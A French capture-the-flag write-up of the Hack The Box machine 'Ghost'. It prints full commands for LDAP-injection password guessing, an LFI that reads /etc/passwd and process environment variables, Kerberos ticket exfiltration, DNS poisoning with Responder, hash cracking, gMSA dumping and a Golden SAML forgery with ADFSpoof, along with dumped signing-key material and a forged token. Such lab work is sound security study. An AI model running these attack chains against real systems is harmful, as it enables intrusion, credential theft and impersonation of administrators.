Aller au contenu
  1. Posts/

Writeup de la box Insane "Ghost" de Hack The Box

·2975 mots·14 mins
Lacroix Raphaël (Chepycou)
Auteur
Lacroix Raphaël (Chepycou)
Bonjour, bienvenue sur mon blog. Je suis Raphaël LACROIX, je développe diverses applications pendant mon temps libre, allant du très inutile au parfois utile. Je fais aussi beaucoup de Capture The Flag et de défis de cybersécurité.
Sommaire

Flag utilisateur
#

spooky ghost sounds

Première énumeration
#

Let’s start with enumeration, I usually do

nmap -A 10.10.11.24 -oA scans/first_scan -vvv
sleep 1000; nmap -A -p- 10.10.11.24 -oA scans/full_scan -vvv

Prolégomènes :

  • C’est un Windows avec les ports DC habituels ouverts (DNS, Kerberos, LDAP, NetBIOS…) avec le domaine ghost. htb
  • Il a un port MSSQL ouvert
  • Il a aussi un port d’administration WinRM ouvert et un port RDP ouvert
  • Les ports web 80 et 443 ne semblent pas très intéressants
  • Mais les ports 8008 et 8443 semblent intéressants
  • 8008 une application web utilisant ghost (une solution CMS analogue à wordpress)
  • 8443 un écran de connexion utilisant le domaine ghost.htb

Nous ajoutons le domaine ghost.htb dans notre /etc/hosts :

10.10.11.24 ghost.htb

En lançant un rapide feroxbuster, nous voyons qu’il y a beaucoup de chemins de fichiers valides, y compris :

  • http://ghost.htb:8008/ghost/#/signin
  • Nous voyons aussi qu’un utilisateur s’appelle kathryn

Sur le port HTTPS (TCP/8443), nous obtenons une redirection vers https://federation.ghost.htb/adfs/ls/?SAMLRequest=...

Nous nous tournons vers le DNS :

  • Aucun transfert de zone à utiliser
  • Mais la fédération semble pointer vers la même machine, alors ajoutons-la dans le /etc/hosts :
  • Énumération des sous-domaines à l’aide du DNS :
dnsenum --dnsserver 10.10.11.24 --enum -p 0 -s 0 -o scans/dns_enumeration.txt -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt ghost.htb

Nous pouvons voir que les sous-domaines intranet et os existent en vhosts :

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.11.24:8008 -H 'Host: FUZZ.ghost.htb' -ac

Reconnaissance web
#

Nous avons maintenant accès à la page de login “federation” (sur le port 443 avec HTTP Strict Transport Security) :

Test rapide du formulaire de connexion puisqu’il ressemble à un login scheme Microsoft :

  • Pas d’injection SQL évidente
  • Essayons les injections LDAP puisqu’il est lié à l’AD, pas de chance non plus Passage aux pages Intranet/os :
  • La page os.ghost.htb pointe sur page 404 pour ghost.htb, rien d’intéressant
  • La page intranet.ghost.htb nous demande de nous connecter !

Contournement du LDAP et reconnaissance dans l’intranet
#

Puisqu’il paraît évident que le site utilise LDAP (comme on peut le voir avec le nom des variables du message), nous essayons les mêmes injections LDAP de base que précédemment et nous obtenons un résultat avec l’injection LDAP :

User : *, Password *

  • Nous pouvons maintenant obtenir ces informations :
    • Le nom d’utilisateur de kathryn est probablement kathryn.holland, peut-être un compte valide sur l’AD
    • Il y a une instance Bitbucket à bitbucket.ghost.htb et il y avait une instance Gitea, intéressant !
    • Les employés semblent très mal payés :) :
    • Les autres noms d’utilisateur sont les suivants :
      Username Full Name Member of
      kathryn.holland Kathryn Holland sysadmin
      cassandra.shelton Cassandra Shelton sysadmin
      robert.steeves Robert Steeves sysadmin
      florence.ramirez Florence Ramirez IT
      justin.bradley Justin Bradley IT, Remote Management Users
      arthur.boyd Arthur Boyd IT
      beth.clark Beth Clark HR
      charles.gray Charles Gray HR
      jason.taylor Jason Taylor HR
      intranet_principal Intranet Principal principal
      gitea_temp_principal Gitea_Temp Principal principal

Injection de mot de passe LDAP pour obtenir le mot de passe Gitea
#

Nous voyons que Bitbucket ne semble pas encore être en place mais Gitea est toujours là, et nous savons qu’un login est gitea_temp_principal et le mot de passe dans sa description. Nous devons donc l’obtenir en utilisant une injection LDAP pour valider chaque caractère un par un :

  • On commence par créer une wordlist (LDAP est case insensitive donc pas besoin de majuscules) :
for i in range(10) :
print(i)
for i in string.ascii_lowercase :
print(i)
  • On utilise la fonction intruder de Burp Suite :
  • => 303 (donc un hit) sur le s :
  • Nous continuons ainsi jusqu’à ce que nous obtenions : szrr8kpc3z6onlqf. Un outil d’attaque automatisée qui aurait pu être utilisé serait ldapBrute

Exploit Gitea : LFI pour récupérer les variables d’environnement
#

Maintenant que nous avons accès à Gitea, nous obtenons que :

  • il y a des interactions entre l’intranet et le CMS (ghost) en utilisant la clef API DEV_INTRANET_KEY, stockée en tant que variable d’environnement.
  • Il y a une API avec la clef publique suivante : a5af628828958c976a3b6cc81a
  • Il y a du code ajouté à l’instance Gitea (très louche, on fait généralement ça dans les CTFs pour introduire une vulnérabilité) :
    • Regardons le code :
    • Cela ressemble à un LFI
    • Nous essayons d’obtenir un fichier bien connu :
    curl -H "Accept-Version : v5.0" "http://10.10.11.24:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../../../../../../../../etc/passwd" | jq
    

Comme nous savons que la clef d’API se trouve dans les variables d’environnement, il va falloir inclure proc/<pid>/environ mais comme le PID du processus est inconnu, on peut utiliser /proc/self qui est un lien symbolique vers le répertoire du PID actuel.

Et on récupère la clef qui est !@yqr!X2kxmQ.@Xe

Abus d’API : obtenir un shell inversé
#

Ok, on se recentre maintenant sur l’API intranet : http://intranet.ghost.htb/api-dev Le seul fichier mentionnant X-DEV-INTRANET-KEY est http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/dev.rs, et il semble être utilisé pour le “nouvel” enpoint de l’API qui pourrait nous intéresser :

Il s’agit d’une requête post sur l’endpoint’ /scan :

On dirait que c’est injectable :

Essayons avec une commande de base :

Essayons maintenant l’injection de commande

Super on récupère un reverse shell (je recommande d’utiliser rlwrap)

Exploitation du ControlMaster SSH
#

Une fois sur la machine, il semble que nous soyons la racine d’un conteneur docker exécutant l’intranet. Rien ne semble utile, à part ce fichier de démarrage dans / :

Nous voyons maintenant qu’il existe un SSH multiplexing socket, ce qui est une bonne nouvelle pour nous 😁 Et nous savons que cette QoL peut également conduire à un session hijack. Controlpersist spécifie le temps pendant lequel la connexion maître doit rester ouverte en arrière-plan, en attente d’une future connexion. Dans notre cas, le yes permet à l’utilisateur de rester connecté pour toujours.

Ok, donc pour l’utiliser, il faut maintenant passer à un shell complet. J’oublie toujours que je ne suis pas dans un vrai shell avec rlwrap, c’est dire à quel point cet outil est bon !

Pour ce faire on tappe :

python3 -c 'import pty; pty.spawn("/bin/bash")'

puis

Ctrl+Z
stty raw -echo
fg
[Enter]
[Enter]

Exfiltration d’un un ticket
#

Nous trouvons un script de démarrage de docker adapté de https://github.com/fjudith/docker-samba-join-ad et commençons à chercher des choses intéressantes liées à AD :

Intéressant : on le récupère avec sur notre machine avec

cat /tmp/krb5cc_50 | base64 -w 0
echo -n "..." | base64 -d > ticket

On vérifie que le fichier est bien intègre :

Et voir si cela peut nous mener quelque part :

Empoisonner les DNS pour obtenir justin.
#

Maintenant que nous avons un utilisateur, nous pouvons en profiter pour empoisonner les enregistrements DNS car un utilisateur du blog semble demander périodiquement une entrée DNS qui n’existe pas encore :

Il nous faut pour cela faire pointer les enregistrements du sous-domaine bitbucket vers notre machine :

python dnstool.py -u "GHOST.HTB\florence.ramirez" -k -a add -r bitbucket.ghost.htb -d 10.10.16.64 dc01.ghost.htb -dns-ip 10.10.11.24 -t A

Nous lançons un répondeur et obtenons un résultat immédiat (logique, le script de Justin s’acharne sur une entrée inexistante):

sudo responder -w -v -I tun0

Et on le déchiffre avec hashcat :

hashcat loots/AD/justin.bradley.hashes /usr/share/wordlists/rockyou.txt

Oui, les gars de HTB aiment vraiment beaucoup les keyboard walks 😂

On lance un bloodhound :

bloodhound-python -u 'justin.bradley' -p 'Qwertyuiop1234$$' -dc ghost.htb -ns 10.10.11.24 -d ghost.htb -c all --zip

Justin semble être un utilisateur “remote management” 🥳

Voila le premier flag ! :)

Second flag
#

Exploitation des droits de justin
#

Bon, cet utilisateur dispose également d’un contrôle sortant au premier degré :

Nous pouvons exploiter cette possibilité en utilisant le gmsa dumping intégré de NXC.

Exploitation du compte GMSA pour forger un Golden SAML
#

Nous pouvons nous winRM sur la machine et accéder aux dossiers auxquels nous n’avions pas accès auparavant 🥳

Nous pouvons également voir que nous ne sommes pas les premiers à venir ici 😂

Rien de plus d’intéressant avec cet utilisateur, mais nous avons maintenant accès à un compte de service de fédération. Voyons ce qu’est ADFS :

Active Directory Federation Service (AD FS) enables Federated Identity and Access Management by securely sharing digital identity and entitlements rights across security and enterprise boundaries. AD FS extends the ability to use single sign-on functionality that is available within a single security or enterprise boundary to Internet-facing applications to enable customers, partners, and suppliers a streamlined user experience while accessing the web-based applications of an organization.

Du coup “fédération” peut nous rappeller l’un des premiers sous-domaines que nous avons vus : federation.ghost.htb, essayons de se connecter dessus avec justin.bradley@ghost.htb et son mot de passe. Nous obtenons une redirection vers https://core.ghost.htb:8443/adfs/saml/postResponse. Nous voyons ici l’autre domaine AD que nous avons également vu sur bloodhound. Puisqu’il s’agit de machines uniques, essayons d’ajouter core.ghost.htb dans /etc/hosts.

Génial ! Il ne nous reste plus qu’à obtenir un compte Administrateur 😁

Puisque nous avons accès au compte adfs, cherchons toute attaque qui pourrait y être liée. J’ai trouvé cette page qui parle en détail de l’attaque Golden SAML.

On commence par exécuter le binaire ADFSdump depuis la console evilWinRM et on obtient la sortie suivante :

## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1

## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
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
[-] Encrypted Token Signing Key End

[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My

## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...

## Reading Relying Party Trust Information from Database
[-] core.ghost.htb
 ==================
    Enabled: True
    Sign-In Protocol: SAML 2.0
    Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
    Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
    SamlResponseSignatureType: 1;
    Identifier: https://core.ghost.htb:8443
    Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
  <RequireFreshAuthentication>false</RequireFreshAuthentication>
  <IssuanceAuthorizationRules>
    <Rule>
      <Conditions>
        <Condition i:type="AlwaysCondition">
          <Operator>IsPresent</Operator>
        </Condition>
      </Conditions>
    </Rule>
  </IssuanceAuthorizationRules>
</PolicyMetadata>


Access Policy Parameter:

Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
 => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);

Ça nous donne le PFX et la clef privée :

  • Traitement du PFX
    echo AAAAAQAAAAAEE[...]EUSTXxm | base64 -d > loots/adfs_gmsa/EncryptedPfx.bin
    
  • Traitement de la clef (il faut prendre la deuxième clef de la sortie ci-dessus)
    echo "8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1" | tr -d "-"|xxd -r -p > loots/adfs_gmsa/dkmKey.bin
    

Nous installons ensuite [ADFSpoof] (https://github.com/mandiant/ADFSpoof). J’ai un peu bloqué sur cette partie car ni python 3.13 ni 3.12 ne fonctionnaient au niveau des dépendances. J’ai donc utilisé uv pour créer un venv mais avec une version spécifique de python :

git clone https://github.com/mandiant/ADFSpoof
cd ADFSpoof
uv venv --python 3.11 # install uv with `curl -LsSf https://astral.sh/uv/install.sh | sh`
source .venv/bin/activate
uv pip install -r requirements.txt

Maintenant, utilisons l’outil avec les arguments suivants :

  • -b Les deux blobs EncryptedPfx.bin et dkmKey.bin
  • -s Le FQDN du serveur. Au début, je pensais que c’était le federation.ghost.htb vers laquelle nous étions redirigés, mais c’est en fait le core.ghost.htb
  • --endpoint C’est l’endpoint sur lequel nous voulons utiliser le jeton de sécurité. Nous pouvons le voir en regardant les requêtes :
    • Ici nous pouvons voir que la page de fédération redirige vers un endpoint /adfs/saml/postResponse qui nous conduit ensuite à un forbidden parce que Justin n’est pas assez privilégié.
  • --nameidFormat est le format que nous avons utilisé pour nous connecter. Voici une page qui le documente : https://docs.identityserver.com/saml2p/config-idp/configuring-nameId/
    • J’ai utilisé transient et cela s’est reflété dans le paramètre nameid. Mais comme nous nous sommes connectés avec l’email, je suppose que cela devrait fonctionner avec format:emailAddress et le nameid comme Adminsitrator@...
  • --nameid est dans notre cas le User Principal Name de l’utilisateur (i.e.. DOMAIN\User)
  • --rpidentifier D’après ce que j’ai compris, il s’agit également de l’URL du service, mais cela peut être plus compliqué que cela
  • Assertions
    • Ces données proviennent de la requête /postResponse lors du décodage de la réponse base64 en remplaçant justin par Administrator
    • Le claims/upn contient le nom principal de l’utilisateur et le claims/CommonName contient le nom exact.
python ADFSpoof.py -b ~/Documents/HTB/Boxes/Ghost/loots/adfs_gmsa/EncryptedPfx.bin ~/Documents/HTB/Boxes/Ghost/loots/adfs_gmsa/dkmKey.bin -s core.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'GHOST.HTB\administrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>GHOST\administrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'

On rejoue la requête de demande de connexion avec le jeton falsifié afin d’obtenir un cookie de session :

  • Token :
    PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJfSlRFUzI5IiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNS0wNC0wNFQyMToyNToyNS4wMDBaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vZmVkZXJhdGlvbi5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIvPjwvc2FtbHA6U3RhdHVzPjxBc3NlcnRpb24geG1sbnM9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfODIyVFAxIiBJc3N1ZUluc3RhbnQ9IjIwMjUtMDQtMDRUMjE6MjU6MjUuMDAwWiIgVmVyc2lvbj0iMi4wIj48SXNzdWVyPmh0dHA6Ly9mZWRlcmF0aW9uLmdob3N0Lmh0Yi9hZGZzL3NlcnZpY2VzL3RydXN0PC9Jc3N1ZXI%2BPGRzOlNpZ25hdHVyZSB4bWxuczpkcz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI%2BPGRzOlNpZ25lZEluZm8%2BPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48ZHM6U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxkczpSZWZlcmVuY2UgVVJJPSIjXzgyMlRQMSI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIvPjwvZHM6VHJhbnNmb3Jtcz48ZHM6RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2Ii8%2BPGRzOkRpZ2VzdFZhbHVlPjk0RE1XSC9vUDhHOWdYNDk0OWFMUTBtVFJZbG12cW9zanM5bGIxdTFCSGc9PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPmQwT291VUpiMERneTdtNGJ4emR4NXd3VUp5MWJVSUtPVUlSN3pQSUxieHI4eTAydlRYcjV2R2xWTGtVbm80SDNPdE1VOERtUmx1TWpQODRYVTUzMEdxTzRaa20xVWVzdXdGUzFDR0hFVU1jeC9ZVEJSQk9VWnpyeFBsZnd2c3hrMnFOWTU3SXdrQUNnb2xOYVNqWk03d25TWlZGRFBjNWpwelFURG5pN1pkNGpXU29xN29VeVdyOU8vY0tjNlR5U2hRYWdDbjZtMGF2QlJURUdBa1JRQWxsUDd1OU5CWXNwRjVjcHFQZjEvNXlYQU9TeGVtOFlWdEdoTTFHdTJQTkd3KzRuTWV5MmZIR0Fhd0RRYVlJM1RkNzBvMnVJRitReENlcVlxT1k3ZGNtdG1EajNxbVZVZ0pUU1VmTlJ3eEo1aWE3MjNTZG9OOEYvSlJMblRPRmFmVmJwNTRUTWxLVE5lcnpKL2U1bUxwbVBzZm1JWFJoZG05cTlKN1F3SUNRTEpsZUVnRkVVeGhuOHBIYWVLams1Z094VUZKVz